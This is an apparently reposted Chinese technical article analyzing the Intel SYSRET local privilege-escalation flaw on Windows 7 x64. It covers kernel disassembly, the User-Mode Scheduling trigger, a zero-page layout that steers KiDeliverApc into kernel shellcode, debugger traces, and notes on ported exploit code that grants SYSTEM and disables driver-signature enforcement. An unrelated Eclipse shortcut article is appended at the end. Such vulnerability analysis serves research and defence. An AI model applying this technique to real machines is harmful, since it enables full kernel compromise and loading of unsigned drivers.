IntelSysret漏洞在WIN7X64下的实现分析

前半部分是网上现有的文章分析,后半部分为代码实现分析1. 漏洞浅析在x64系统上,最重要的48位虚拟
【菜科解读】
intelsysret 漏洞在WIN7 X64下的实现分析。
前半部分是网上现有的文章分析,后半部分为代码实现分析
1. 漏洞浅析在x64系统上,最重要的48位虚拟地址将被用于地址转换,而此外48到63的任何虚拟地址必须是47位的副本。
否则处理器会抛出异常:保护故障(GP)。
这会将虚拟地址分割位两个区块,如:· 规范的高阶半区: 0xFFFFFF`FFFFFFFF 0xFFFF8000`00000000
· 规范的低阶半区: 0x00007FFF`FFFFFFFF 0x00000000`00000000
而所有这之间的地址都会被认为是不规范的。
SYSRET指令被用于传递返回到普通用户模式(user-mode)。
它将RCX寄存器中的值复制到RIP寄存器中,并把Code Segment Selector位切换位普通用户模式(user-mode)。
然而,RCX寄存器是一个通用寄存器,它可能包含的任何值,包括不规范的地址。
并且SYSRET指令一旦抛出异常是不负责退栈切换回用户空间的,也不负责为GS寄存器做扫尾工作。
这意味着,程序员在调用SYSRET指令前后都需要为GS,RSP,RBP做额外的处理。
而我们恰好发现intel的SYSRET指令实现中存在一个缺陷: 如果一个不规范的地址从RCX寄存器传递而抛出GP, 那么在CG,RBP和RSP返回普通用户模式(user-mode)前, 其ring0的权限不会被取缔(因为没有任何扫尾工作)。
2. MS windows中的漏洞触发利用这个漏洞的关键是要抛出一个不规范的返回地址,而为了在MS Windows中触发这个漏洞,我们可以有以下的方式:· 映射内存并在0x7FFF`FFFFFFFF位执行一个系统调用。
这将返回一个不规范的地址。
然而,由于Windows地址空间的限制,这个地址是不可达的,因此此路不通罗马。
· 寻找一个系统调用,并能手动改变返回地址。
关于后者,可借力于UMS(User-Mode Scheduling 用户模式计划程序)。
ps: MSDN,UMS是一个轻量级的机制,应用程序可以用它来安排自己的线程。
应用程序可以在用户模式下自由进行UMS线程间的切换而不必不涉及系统调度。
为了使用UMS线程,可以用CreateUmsCompletionList()函数创建一个的UMS调度列表。
scheduler线程将被链接到此调度列表,而scheduler线程也将需要被创建(scheduler线程通过EnterUmsSchedulingMode()从普通线程晋升为UMS线程)。
如果UMS线程启动或阻塞,那么ExecuteUmsThread()函数需要被调用。
如果没有, scheduler需要确定哪些线程将随后运行。
它将排列调度列表,选择正确的线程。
EnterUmsSchedulingMode()函数是ntdll.dll中实现的。
从汇编代码中,我们可以看到,它得到当前的UMS线程,完成链接调度列表,保存线程上下文(寄存器),然后调用RtlpUmsPrimaryContextWrap()函数。
1. .text:0000000078F33A20 RtlEnterUmsSchedulingMode
2. .text:0000000078F33A20
3. .text:0000000078F33A20 arg_0 = qword ptr 8
4. .text:0000000078F33A20 arg_8 = qword ptr 10h
5. .text:0000000078F33A20 arg_10 = qword ptr 18h
6. .text:0000000078F33A20
7. .text:0000000078F33A20 mov [rsp+arg_8], rbx
8. .text:0000000078F33A25 mov [rsp+arg_10], rsi
9. .text:0000000078F33A2A push rdi
10..text:0000000078F33A2B sub rsp, 20h
11..text:0000000078F33A2F mov rsi, [rcx+8]
12..text:0000000078F33A33 mov rbx, [rcx+10h]
13. [...]
14..text:0000000078F33A5D loc_78F33A5D:
15..text:0000000078F33A5D mov rdx, rsi
16..text:0000000078F33A60 xor ecx, ecx
17..text:0000000078F33A62 call RtlpAttachThreadToUmsCompletionList
18..text:0000000078F33A67 test eax, eax
19..text:0000000078F33A69 js short loc_78F33AA0
20..text:0000000078F33A6B lea rcx, [rsp+28h+arg_0]
21..text:0000000078F33A70 call RtlGetCurrentUmsThread
22..text:0000000078F33A75 test eax, eax
23..text:0000000078F33A77 js short loc_78F33A94
24..text:0000000078F33A79 mov rcx, [rsp+28h+arg_0]
25..text:0000000078F33A7E call RtlpSaveUmsdebugRegisterState
26..text:0000000078F33A83 test eax, eax
27..text:0000000078F33A85 js short loc_78F33A94
28..text:0000000078F33A87 mov rdx, rdi
29..text:0000000078F33A8A mov rcx, rbx
30..text:0000000078F33A8D call RtlpUmsPrimaryContextWrap
31..text:0000000078F33A92 jmp short $+2
RtlpUmsPrimaryContextWrap()函数负责调用scheduler并保存线程信息在一个结构中(ps:这是一个非文档化的结构),通过反汇编我们可以知道此结构为:RSPRBP返回地址
1. .text:0000000078EA03F0 RtlpUmsPrimaryContextWrap
2. .text:0000000078EA03F0
3. .text:0000000078EA03F0 var_108 = xmmword ptr -108h
4. .text:0000000078EA03F0 var_F8 = xmmword ptr -0F8h
5. .text:0000000078EA03F0 var_E8 = xmmword ptr -0E8h
6. .text:0000000078EA03F0 var_D8 = xmmword ptr -0D8h
7. .text:0000000078EA03F0 var_C8 = xmmword ptr -0C8h
8. .text:0000000078EA03F0 var_38 = byte ptr -38h
9. [...]
10..text:0000000078EA0452 mov [rax+30h], r15
11..text:0000000078EA0456 mov r10, gs:14A0h
12..text:0000000078EA045F lea r10, [r10+10h]
13..text:0000000078EA0463 lea r11, loc_78EA0493
14..text:0000000078EA046A mov [r10+0D0h], rcx //这里将被HOOK
15..text:0000000078EA0471 mov [r10+0A0h], rbp
16..text:0000000078EA0478 mov [r10+98h], rsp
17..text:0000000078EA047F mov [r10+0F8h], r11 // saved return
18..text:0000000078EA0486 mov r12, 0
19..text:0000000078EA048D xor r13, r13
20..text:0000000078EA0490 mov r14, rdx
21..text:0000000078EA0493
22..text:0000000078EA0493 loc_78EA0493:
23..text:0000000078EA0493 mov r10, gs:14A0h
24..text:0000000078EA049C lea r10, [r10+10h]
25..text:0000000078EA04A0 mov r11, [r10+0D0h] // scheduler func
26..text:0000000078EA04A7 mov rcx, r12
27..text:0000000078EA04AA mov rdx, r13
28..text:0000000078EA04AD mov r8, r14
29..text:0000000078EA04B0 call r11 // calls the scheduler function
30..text:0000000078EA04B3 lea rcx, [rsp+138h+var_38]
31..text:0000000078EA04BB movaps xmm6, [rsp+138h+var_108]
32..text:0000000078EA04C0 movaps xmm7, [rsp+138h+var_F8]
如果我们调试内核,在Ntoskrnl.exe的KeBuildPrimaryThreadContext()函数处设置bp,我们可以看到0x00000000`78EA0493被保存为返回到用户空间的地址。
1. PAGE:FFFFF80002C5A070 KeBuildPrimaryThreadContext
2. PAGE:FFFFF80002C5A070
3. PAGE:FFFFF80002C5A070 arg_0 = qword ptr 8
4. PAGE:FFFFF80002C5A070 arg_20 = qword ptr 28h
5. PAGE:FFFFF80002C5A070 arg_28 = qword ptr 30h
6. PAGE:FFFFF80002C5A070
7. PAGE:FFFFF80002C5A070 mov [rsp+arg_0], rbx
8. PAGE:FFFFF80002C5A075 movsxd rbx, r9d
9. PAGE:FFFFF80002C5A078 mov r9, rdx
10.PAGE:FFFFF80002C5A07B xor r10d, r10d
11.PAGE:FFFFF80002C5A07E mov rax, [rcx+1B8h]
12.PAGE:FFFFF80002C5A085 mov r11, [rax]
13.PAGE:FFFFF80002C5A088 cmp r8, r10
14.PAGE:FFFFF80002C5A08B jz loc_FFFFF80002C5A168
15.[...]
16.PAGE:FFFFF80002C5A168 loc_FFFFF80002C5A168:
17.PAGE:FFFFF80002C5A168 mov rdx, [rdx+50h]
18.PAGE:FFFFF80002C5A16C mov rcx, [r9+58h]
19.PAGE:FFFFF80002C5A170 mov rax, [r11+108h]
20.PAGE:FFFFF80002C5A177 mov [rdx+168h], rax // saved RIP
21.PAGE:FFFFF80002C5A17E mov rax, [r11+0A8h]
22.PAGE:FFFFF80002C5A185 mov [rdx+180h], rax
23.PAGE:FFFFF80002C5A18C mov rax, [r11+0B0h]
24.PAGE:FFFFF80002C5A193 mov [rdx+158h], rax
25.PAGE:FFFFF80002C5A19A mov eax, 33h ; '3'
26.PAGE:FFFFF80002C5A19F mov [rdx+170h], ax
27.PAGE:FFFFF80002C5A1A6 mov eax, 2Bh ; '+'
28.PAGE:FFFFF80002C5A1AB mov [rdx+188h], ax
我们的想法是在ExecuteUmsThread()调用前破坏这个地址为非规范地址。
而在用户态的scheduler中,返回地址保存在: GS:[0x14a0] + 0x10 + 0x1F处。
内核调度结束后,ntoskrnl.exe中的KiUmsFastReturnToUser()函数被调用。
在调用SYSRET指令前, RSP, RBP和GS将会被重置为他们之前保存的副本,返回用户态的地址也被移入RCX寄存器。
1. .text:FFFFF800028DD440 KiUmsFastReturnToUser
2. .text:FFFFF800028DD440
3. .text:FFFFF800028DD440 var_5046 = dword ptr -5046h
4. .text:FFFFF800028DD440 var_4FA6 = byte ptr -4FA6h
5. .text:FFFFF800028DD440 arg_42 = byte ptr 52h
6. .text:FFFFF800028DD440 arg_80 = byte ptr 88h
7. .text:FFFFF800028DD440 arg_190 = dword ptr 198h
8. .text:FFFFF800028DD440
9. .text:FFFFF800028DD440 sub rsp, 28h
10..text:FFFFF800028DD444 mov rbx, gs:+188h
11..text:FFFFF800028DD44D mov rcx, [rbx+1D8h]
12..text:FFFFF800028DD454 lea rbp, [rcx+80h]
13..text:FFFFF800028DD45B mov rax, cr8
14. [...]
15..text:FFFFF800028DD596 loc_FFFFF800028DD596:
16..text:FFFFF800028DD596 mov r8, [rbp+100h] // saved RSP
17..text:FFFFF800028DD59D mov r9, [rbp+0D8h] // saved RBP
18..text:FFFFF800028DD5A4 xor edx, edx
19..text:FFFFF800028DD5A6 pxor xmm0, xmm0
20..text:FFFFF800028DD5AA pxor xmm1, xmm1
21..text:FFFFF800028DD5AE pxor xmm2, xmm2
22..text:FFFFF800028DD5B2 pxor xmm3, xmm3
23..text:FFFFF800028DD5B6 pxor xmm4, xmm4
24..text:FFFFF800028DD5BA pxor xmm5, xmm5
25..text:FFFFF800028DD5BE mov rcx, [rbp+0E8h] // saved ret address
26..text:FFFFF800028DD5C5 mov r11, [rbp+0F8h]
27..text:FFFFF800028DD5CC mov rbp, r9
28..text:FFFFF800028DD5CF mov rsp, r8
29..text:FFFFF800028DD5D2 swapgs // switch GS to user
30..text:FFFFF800028DD5D5 sysret
31..text:FFFFF800028DD5D8 db 66h, 66h, 66h, 66h, 66h, 66h
32..text:FFFFF800028DD5D8 nop word ptr [rax+rax+00000000h]
33..text:FFFFF800028DD5E7 db 66h, 66h, 66h, 66h, 66h, 66h
但是,如果此时RCX是不规范的,那么GP异常将在特权模式下被抛出。
3. Windows 7 & Windows 2008 R2 x64下的利用GP异常抛出时,RSP和RBP可控,GS指向用户态,PFH(protection fault handler)则被指向KiGeneralProtectionFault()函数一种利用此漏洞的方式,是利用已控的RBP和RBP。
因为KiGeneralProtectionFault()将会把值写入堆栈,且堆栈也是可控的。
基于这些我们可以试试write-4 techniques。
ps: write-4 techniques - http://immunityinc.com/infiltrate/archives/kernelpool_infiltrate2011.pdf
1. .text:FFFFF800028DBAC0 KiGeneralProtectionFault
2. .text:FFFFF800028DBAC0
3. .text:FFFFF800028DBAC0 var_12D = byte ptr -12Dh
4. .text:FFFFF800028DBAC0 var_12C = dword ptr -12Ch
5. .text:FFFFF800028DBAC0 var_128 = qword ptr -128h
6. .text:FFFFF800028DBAC0 var_120 = qword ptr -120h
7. .text:FFFFF800028DBAC0 var_118 = qword ptr -118h
8. .text:FFFFF800028DBAC0 var_110 = qword ptr -110h
9. .text:FFFFF800028DBAC0 var_108 = qword ptr -108h
10..text:FFFFF800028DBAC0 var_100 = qword ptr -100h
11..text:FFFFF800028DBAC0 var_F8 = qword ptr -0F8h
12..text:FFFFF800028DBAC0 var_E8 = xmmword ptr -0E8h
13..text:FFFFF800028DBAC0 var_D8 = xmmword ptr -0D8h
14..text:FFFFF800028DBAC0 var_C8 = xmmword ptr -0C8h
15..text:FFFFF800028DBAC0 var_B8 = xmmword ptr -0B8h
16..text:FFFFF800028DBAC0 var_A8 = xmmword ptr -0A8h
17..text:FFFFF800028DBAC0 var_98 = xmmword ptr -98h
18..text:FFFFF800028DBAC0 var_58 = word ptr -58h
19..text:FFFFF800028DBAC0 arg_0 = qword ptr 10h
20..text:FFFFF800028DBAC0 arg_8 = byte ptr 18h
21..text:FFFFF800028DBAC0 arg_10 = qword ptr 20h
22..text:FFFFF800028DBAC0 arg_24 = dword ptr 34h
23..text:FFFFF800028DBAC0
24..text:FFFFF800028DB600 push rbp
25..text:FFFFF800028DB601 sub rsp, 158h
26..text:FFFFF800028DB608 lea rbp, [rsp+80h]
27..text:FFFFF800028DB610 mov [rbp+0D8h+var_12D], 1
28..text:FFFFF800028DB614 mov [rbp+0D8h+var_128], rax
29..text:FFFFF800028DB618 mov [rbp+0D8h+var_120], rcx
30..text:FFFFF800028DB61C mov [rbp+0D8h+var_118], rdx
31..text:FFFFF800028DB620 mov [rbp+0D8h+var_110], r8
32..text:FFFFF800028DB624 mov [rbp+0D8h+var_108], r9
33..text:FFFFF800028DB628 mov [rbp+0D8h+var_100], r10
34..text:FFFFF800028DB62C mov [rbp+0D8h+var_F8], r11
35..text:FFFFF800028DB630 test [rbp+0D8h+arg_8], 1
36..text:FFFFF800028DB637 jz short loc_FFFFF800028DB65A
37..text:FFFFF800028DB639 swapgs
38..text:FFFFF800028DB63C mov r10, gs:188h
39..text:FFFFF800028DB645 test byte ptr [r10+3], 3
40..text:FFFFF800028DB64A mov [rbp+0D8h+var_58], 0
然而,因为目标内存周围数据已被破坏,这使得此exp方法不可靠。
一个更好的方法是利用指向用户空间的GS。
我们的思路是,欺骗内核调用GS中索引的函数。
这种功能可以触发页错误处理程序(所有这一切需要做的是产生此异常)。
1. .text:FFFFF800028DB65A cld
2. .text:FFFFF800028DB65B stmxcsr [rbp+0D8h+var_12C]
3. .text:FFFFF800028DB65F ldmxcsr dword ptr gs:180h
4. .text:FFFFF800028DB668 movaps [rbp+0D8h+var_E8], xmm0
5. .text:FFFFF800028DB66C movaps [rbp+0D8h+var_D8], xmm1
6. .text:FFFFF800028DB670 movaps [rbp+0D8h+var_C8], xmm2
7. .text:FFFFF800028DB674 movaps [rbp+0D8h+var_B8], xmm3
8. .text:FFFFF800028DB678 movaps [rbp+0D8h+var_A8], xmm4
9. .text:FFFFF800028DB67C movaps [rbp+0D8h+var_98], xmm5
10..text:FFFFF800028DB680 mov eax, [rbp+0E0h]
11..text:FFFFF800028DB686 test [rbp+0D8h+arg_10], 200h
12..text:FFFFF800028DB691 jz short loc_FFFFF800028DB694
13..text:FFFFF800028DB693 sti
14..text:FFFFF800028DB694 loc_FFFFF800028DB694:
15..text:FFFFF800028DB694 mov r10, [rbp+0D8h+arg_0]
16..text:FFFFF800028DB69B mov r9, cr4
17..text:FFFFF800028DB69F mov r8, cr0
18..text:FFFFF800028DB6A3 mov edx, 8
19..text:FFFFF800028DB6A8 mov ecx, 7Fh
20..text:FFFFF800028DB6AD call KiBugCheckDisPatch
此函数叫做 KeBugCheckEx()
1. .text:FFFFF800028DD180 KiBugCheckDispatch
2. .text:FFFFF800028DD180
3. .text:FFFFF800028DD180 var_118= qword ptr -118h
4. .text:FFFFF800028DD180 var_108= xmmword ptr -108h
5. .text:FFFFF800028DD180 var_F8= xmmword ptr -0F8h
6. .text:FFFFF800028DD180 var_E8= xmmword ptr -0E8h
7. .text:FFFFF800028DD180 var_D8= xmmword ptr -0D8h
8. .text:FFFFF800028DD180 var_C8= xmmword ptr -0C8h
9. .text:FFFFF800028DD180 var_38= byte ptr -38h
10..text:FFFFF800028DD180
11..text:FFFFF800028DD180 sub rsp, 138h
12..text:FFFFF800028DD187 lea rax, [rsp+138h+var_38]
13..text:FFFFF800028DD18F movaps [rsp+138h+var_108], xmm6
14..text:FFFFF800028DD194 movaps [rsp+138h+var_F8], xmm7
15..text:FFFFF800028DD199 movaps [rsp+138h+var_E8], xmm8
16. [...]
17..text:FFFFF800028DD1D3 mov [rax+20h], r13
18..text:FFFFF800028DD1D7 mov [rax+28h], r14
19..text:FFFFF800028DD1DB mov [rax+30h], r15
20..text:FFFFF800028DD1DF mov [rsp+138h+var_118], r10
21..text:FFFFF800028DD1E4 call KeBugCheckEx
22..text:FFFFF800028DD1E4 KiBugCheckDispatch endp
KeBugCheckEx()函数需要将控制状态寄存器保存到GS索引的一个内存结构。
1. .text:FFFFF800028DDC40 KeBugCheckEx
2. .text:FFFFF800028DDC40
3. .text:FFFFF800028DDC40 var_18= qword ptr -18h
4. .text:FFFFF800028DDC40 var_10= qword ptr -10h
5. .text:FFFFF800028DDC40 var_8= qword ptr -8
6. .text:FFFFF800028DDC40 arg_0= qword ptr 8
7. .text:FFFFF800028DDC40 arg_8= qword ptr 10h
8. .text:FFFFF800028DDC40 arg_10= qword ptr 18h
9. .text:FFFFF800028DDC40 arg_18= qword ptr 20h
10..text:FFFFF800028DDC40 arg_20= qword ptr 28h
11..text:FFFFF800028DDC40 arg_28= byte ptr 30h
12..text:FFFFF800028DDC40
13..text:FFFFF800028DDC40 mov [rsp+arg_0], rcx
14..text:FFFFF800028DDC45 mov [rsp+arg_8], rdx
15..text:FFFFF800028DDC4A mov [rsp+arg_10], r8
16..text:FFFFF800028DDC4F mov [rsp+arg_18], r9
17..text:FFFFF800028DDC54 pushfq
18..text:FFFFF800028DDC55 sub rsp, 30h
19..text:FFFFF800028DDC59 cli
20..text:FFFFF800028DDC5A mov rcx, gs:20h
21..text:FFFFF800028DDC63 mov rcx, [rcx+4BD8h]
22..text:FFFFF800028DDC6A call RtlCaptureContext
23..text:FFFFF800028DDC6F mov rcx, gs:20h
24..text:FFFFF800028DDC78 add rcx, 40h
25..text:FFFFF800028DDC7C call KiSaveProcessorControlState
26..text:FFFFF800028DDC81 mov r10, gs:20h
27..text:FFFFF800028DDC8A mov r10, [r10+4BD8h]
28..text:FFFFF800028DDC91 mov rax, [rsp+38h+arg_0]
29..text:FFFFF800028DDC96 mov [r10+80h], rax
30..text:FFFFF800028DDC9D mov rax, [rsp+38h+var_8]
KeSaveProcessorControlState()函数将尝试把cr0寄存器的内容保存在GS:0x20处。
1. .text:FFFFF800028DDF70 KiSaveProcessorControlState
2. .text:FFFFF800028DDF70 mov rax, cr0
3. .text:FFFFF800028DDF73 mov [rcx], rax
4. .text:FFFFF800028DDF76 mov rax, cr2
5. .text:FFFFF800028DDF79 mov [rcx+8], rax
6. .text:FFFFF800028DDF7D mov rax, cr3
7. .text:FFFFF800028DDF80 mov [rcx+10h], rax
8. .text:FFFFF800028DDF84 mov rax, cr4
这可以被用来抛出一个页错误:如果一个诸如0x54545454`54545454的值被存储在GS:0x20,那么页错误将被触发。
在页错误处理程序中,我们的目标在于达到KiCheckForKernelApcDelivery()函数。
它主要包括设置一个有效的指针GS:0x188(初始设置为0)。
1. .text:FFFFF800028DBC00 KiPageFault
2. .text:FFFFF800028DBC00
3. .text:FFFFF800028DBC00 var_158= dword ptr -158h
4. .text:FFFFF800028DBC00 var_138= dword ptr -138h
5. .text:FFFFF800028DBC00 var_12E= byte ptr -12Eh
6. .text:FFFFF800028DBC00 var_12D= byte ptr -12Dh
7. .text:FFFFF800028DBC00 var_12C= dword ptr -12Ch
8. .text:FFFFF800028DBC00 var_128= qword ptr -128h
9. [...]
10..text:FFFFF800028DBC00 push rbp
11..text:FFFFF800028DBC01 sub rsp, 158h
12..text:FFFFF800028DBC08 lea rbp, [rsp+80h]
13..text:FFFFF800028DBC10 mov [rbp+0D8h+var_12D], 1
14..text:FFFFF800028DBC14 mov [rbp+0D8h+var_128], rax
15..text:FFFFF800028DBC18 mov [rbp+0D8h+var_120], rcx
16..text:FFFFF800028DBC1C mov [rbp+0D8h+var_118], rdx
17..text:FFFFF800028DBC20 mov [rbp+0D8h+var_110], r8
18..text:FFFFF800028DBC24 mov [rbp+0D8h+var_108], r9
19..text:FFFFF800028DBC28 mov [rbp+0D8h+var_100], r10
20..text:FFFFF800028DBC2C mov [rbp+0D8h+var_F8], r11
21..text:FFFFF800028DBC30 test byte ptr [rbp+0D8h+arg_8], 1
22..text:FFFFF800028DBC37 jz short loc_FFFFF800028DBCAD
23..text:FFFFF800028DBC39 swapgs
24..text:FFFFF800028DBC3C mov r10, gs:188h
25..text:FFFFF800028DBC45 cmp [rbp+0D8h+arg_8], 33h ; '3'
26. [...]
27..text:FFFFF800028DBCAD loc_FFFFF800028DBCAD:
28.; KiPageFault+A6 j
29..text:FFFFF800028DBCAD cld
30..text:FFFFF800028DBCAE stmxcsr [rbp+0D8h+var_12C]
31..text:FFFFF800028DBCB2 ldmxcsr dword ptr gs:180h
32..text:FFFFF800028DBCBB movaps [rbp+0D8h+var_E8], xmm0
33..text:FFFFF800028DBCBF movaps [rbp+0D8h+var_D8], xmm1
34..text:FFFFF800028DBCC3 movaps [rbp+0D8h+var_C8], xmm2
35..text:FFFFF800028DBCC7 movaps [rbp+0D8h+var_B8], xmm3
36..text:FFFFF800028DBCCB movaps [rbp+0D8h+var_A8], xmm4
37..text:FFFFF800028DBCCF movaps [rbp+0D8h+var_98], xmm5
38..text:FFFFF800028DBCD3 mov eax, cs:KiCodePatchCycle
39..text:FFFFF800028DBCD9 mov [rbp+0D8h+arg_24], eax
40..text:FFFFF800028DBCDF mov eax, [rbp+0E0h]
41..text:FFFFF800028DBCE5 mov rcx, cr2
42..text:FFFFF800028DBCE8 test [rbp+0D8h+arg_10], 200h
43..text:FFFFF800028DBCF3 jz short loc_FFFFF800028DBCF6
44..text:FFFFF800028DBCF5 sti
45. [...]
46..text:FFFFF800028DBCF6 loc_FFFFF800028DBCF6:
47..text:FFFFF800028DBCF6 mov r9, gs:188h
48..text:FFFFF800028DBCFF bt dword ptr [r9+4Ch], 0Bh
49..text:FFFFF800028DBD05 jnb short loc_FFFFF800028DBD15
50..text:FFFFF800028DBD07 test byte ptr [rbp+0F0h], 1
51. [...]
52..text:FFFFF800028EACF2 loc_FFFFF800028EACF2:
53..text:FFFFF800028EACF2 mov r12, gs:188h
54..text:FFFFF800028EACFB mov [rbp+0D0h+var_78], rdi
55..text:FFFFF800028EACFF mov rcx, [r12+70h]
56..text:FFFFF800028EAD04 mov [rbp+0D0h+var_98], rcx
57..text:FFFFF800028EAD08 cmp dword ptr [rcx+438h], 10h
58..text:FFFFF800028EAD0F lea r14, [rcx+398h]
59..text:FFFFF800028EAD16 ja loc_FFFFF800028EB0E2
60..text:FFFFF800028EAD1C mov eax, cs:MiDelayPageFaults
61..text:FFFFF800028EAD22 test eax, eax
62. [...]
63..text:FFFFF800028EC79C loc_FFFFF800028EC79C:
64..text:FFFFF800028EC79C call KiCheckForKernelApcDelivery
65..text:FFFFF800028EC7A1 jmp loc_FFFFF800028EAF75
KiCheckForKernelApcDelivery()函数调用的KiDeliverApc():
1. .text:FFFFF8000288AF10 KiCheckForKernelApcDelivery
2. .text:FFFFF8000288AF10 push rbx
3. .text:FFFFF8000288AF12 sub rsp, 20h
4. .text:FFFFF8000288AF16 mov rax, cr8
5. .text:FFFFF8000288AF1A mov ecx, 1
6. .text:FFFFF8000288AF1F test al, al
7. .text:FFFFF8000288AF21 jnz short loc_FFFFF8000288AF3F
8. .text:FFFFF8000288AF23 xor ebx, ebx
9. .text:FFFFF8000288AF25 mov cr8, rcx
10..text:FFFFF8000288AF29 xor r8d, r8d
11..text:FFFFF8000288AF2C xor edx, edx
12..text:FFFFF8000288AF2E xor ecx, ecx
13..text:FFFFF8000288AF30 call KiDeliverApc
14..text:FFFFF8000288AF35 mov cr8, rbx
这是一个实现代码执行的函数。
它将提取GS:0x188中的指针,并在一系列解引用操作后设置R11寄存器,而R11寄存器用来调用另一个函数。
1. .text:FFFFF800028D1130 KiDeliverApc
2. .text:FFFFF800028D1130
3. .text:FFFFF800028D1130 var_78= dword ptr -78h
4. .text:FFFFF800028D1130 var_58= qword ptr -58h
5. .text:FFFFF800028D1130 var_50= qword ptr -50h
6. .text:FFFFF800028D1130 var_48= qword ptr -48h
7. .text:FFFFF800028D1130 var_40= qword ptr -40h
8. .text:FFFFF800028D1130 arg_0= qword ptr 8
9. [...]
10..text:FFFFF800028D115B loc_FFFFF800028D115B:
11..text:FFFFF800028D115B mov rbx, gs:188h
12..text:FFFFF800028D1164 mov r15, [rbx+1D8h]
13..text:FFFFF800028D116B mov r14, [rbx+70h]
14..text:FFFFF800028D116F mov [rbx+79h], r9b
15..text:FFFFF800028D1173 mov [rbx+1D8h], r8
16..text:FFFFF800028D117A cmp [rbx+1C6h], r9w
17..text:FFFFF800028D1182 jnz short loc_FFFFF800028D11A8
18..text:FFFFF800028D1184 lock or [rsp+78h+var_78], r9d
19..text:FFFFF800028D1189 lfence
20..text:FFFFF800028D118C lea rsi, [rbx+50h]
21. [...]
22..text:FFFFF800028D11EC loc_FFFFF800028D11EC:
23..text:FFFFF800028D11EC mov r8, [rsi]
24..text:FFFFF800028D11EF cmp r8, rsi
25..text:FFFFF800028D11F2 jz loc_FFFFF800029296C7
26..text:FFFFF800028D11F8 mov [rbx+79h], r9b
27..text:FFFFF800028D11FC lea r10, [r8-10h]
28..text:FFFFF800028D1200 prefetchw byte ptr [r10]
29..text:FFFFF800028D1204 mov rcx, [r10+30h]
30..text:FFFFF800028D1208 mov r11, [r10+20h]
31..text:FFFFF800028D120C mov [rsp+78h+arg_10], rcx
32..text:FFFFF800028D1214 mov rax, [r10+38h]
33. [...]
34..text:FFFFF800028D12B0 loc_FFFFF800028D12B0:
35..text:FFFFF800028D12B0 mov rax, [r8+8]
36..text:FFFFF800028D12B4 mov rdx, [r8]
37..text:FFFFF800028D12B7 mov [rax], rdx
38..text:FFFFF800028D12BA mov [rdx+8], rax
39..text:FFFFF800028D12BE mov [r10+52h], r9b
40..text:FFFFF800028D12C2 lock and [rbx+88h], r9
41..text:FFFFF800028D12CA movzx eax, r12b
42..text:FFFFF800028D12CE mov cr8, rax
43..text:FFFFF800028D12D2 lea rax, [rsp+78h+arg_18]
44..text:FFFFF800028D12DA lea r9, [rsp+78h+var_48]
45..text:FFFFF800028D12DF lea r8, [rsp+78h+var_40]
46..text:FFFFF800028D12E4 lea rdx, [rsp+78h+arg_10]
47..text:FFFFF800028D12EC mov rcx, r10
48..text:FFFFF800028D12EF mov [rsp+78h+var_58], rax
49..text:FFFFF800028D12F4 call r11
50..text:FFFFF800028D12F7 xor r9d, r9d
51..text:FFFFF800028D12FA jmp loc_FFFFF800028D1190
而如果R11寄存器指向一个内核shellcode并且内核调用它,则我们的shellcode就能可靠运行了。
下面我结合代码进行下简单的说明。
上面说了一大通东西,其实关键就是
1,挂钩特殊函数使其产生本无法产生的特殊非规范地址,并使指令跳到这个特殊非规范地址从而触发系统异常。
2,系统发生异常时候,通过设置一些特定的数据跳转,跳转到我们想要的地方。
也就是最关键的函数
nt!KiDeliverApc,大家看代码的时候,需要结合标红的字段就可以理解SHELLCODE的布局了。
触发这个异常的时候,gs:188指向的是我们分配的0地址,所以
mov rbx, gs:188hrbx =0
lea rsi, [rbx+50h]rsi =0x50
mov r8, [rsi] r8 =0
lea r10, [r8-10h] r10 = -10h
mov r11, [r10+20h] r11 = 0x10
call r11call的是我们分配地址0+0x10的地方。
也就是代码里
*(PLONGLONG)((ULONG_PTR)0L+0x10) =KernelShellcodeAddress;
的精华所在,其他的大家看代码也就清楚了。
说明的是:
原始的老外代码是VS2010 编译的,我修改为最常用的VS2008 编译,同时修改了些小BUG。
代码调试可以调试到
断点nt!KiUmsFastReturnToUser
Breakpoint 5 hit
nt!KiUmsFastReturnToUser+0x17e:
fffff800`0428907e 488b8de8000000mov rcx,qword ptr [rbp+0E8h] //构造的异常返回地址
2: kd> p
nt!KiUmsFastReturnToUser+0x185:
fffff800`04289085 4c8b9df8000000mov r11,qword ptr [rbp+0F8h]
2: kd> p
nt!KiUmsFastReturnToUser+0x18c:
fffff800`0428908c 498be9 mov rbp,r9
2: kd> r
rax=0000000000000000 rbx=fffffa800fa0fb60 rcx=8000000000000000(构造的异常返回地址)
rdx=0000000000000000 rsi=0000000076f8edc0 rdi=0000000000000000
rip=fffff8000428908c rsp=fffff880097d2bb0 rbp=fffff880097d2c60
r8=00000000002ff6e0r9=00000000002ff6e0 r10=0000000000000000
r11=0000000000010246 r12=0000000000000001 r13=0000000000000001
r14=0000000000000000 r15=00000000771e84f0
iopl=0 nv up di pl zr na po nc
cs=0010ss=0018ds=002bes=002bfs=0053gs=002b efl=00000046
nt!KiUmsFastReturnToUser+0x18c:
fffff800`0428908c 498be9 mov rbp,r9
后面SYSRET 触发异常后,不能对在异常处理的代码下断点,否则会触发蓝屏。
还有masm64New.rules文件拷贝到你的X:\Program Files\Microsoft Visual Studio 9.0\VC\VCProjectDefaults,X为你VC2008所在的盘。
然后就可以调试即可。
代码里面也比较简单
1,不是WIN764 位就退出
2,UMS函数初始化失败也退出。
3,判断函数的参数,或者带PID,或者是EXE路劲,为了能使对应的程序为SYSTEM权限,及清除标志g_CiEnabled,从而可以安装加载非签名驱动,这2个是为了表明内核执行代码可能导致的危害性做的演示。
4,分配0地址,并填入一些特殊数据,确保执行流程按指定的方向执行。
5,设置好SHELLCODE,并将shellcode入口点填入地址0X10,从而使其被触发调用
6,调用UMS线程,调用到我们的HOOK,填入非规范地址,从而触发异常执行。
最后补充下,这段代码在WIN8 64位下应该是无效的,因为WIN8 64不允许分配0地址,也不允许内核执行应用空间的代码。
IntelSysret,漏洞,在,WIN7X64,下,的,实[eclipse快捷键]
作为一款强大的集成开发环境,Eclipse凭借其丰富的功能和灵活的操作方式,成为了众多开发者的首选工具。
然而,对于初学者来说,掌握Eclipse的快捷键是一个不小的挑战。
在本文中,我将为大家详细介绍一些常用的Eclipse快捷键,并分享一些使用技巧,帮助大家更高效地使用这个工具。
工具原料:系统版本:Windows 10品牌型号:Dell XPS 15软件版本:Eclipse 2020-06一、快捷键提高效率1、Ctrl + S:保存当前文件。
这是一个非常常用的快捷键,可以帮助我们快速保存代码,避免因意外情况导致代码丢失。
2、Ctrl + D:删除当前行。
当我们发现某一行代码有误或者不再需要时,可以使用这个快捷键快速删除。
3、Ctrl + /:注释/取消注释选中的代码。
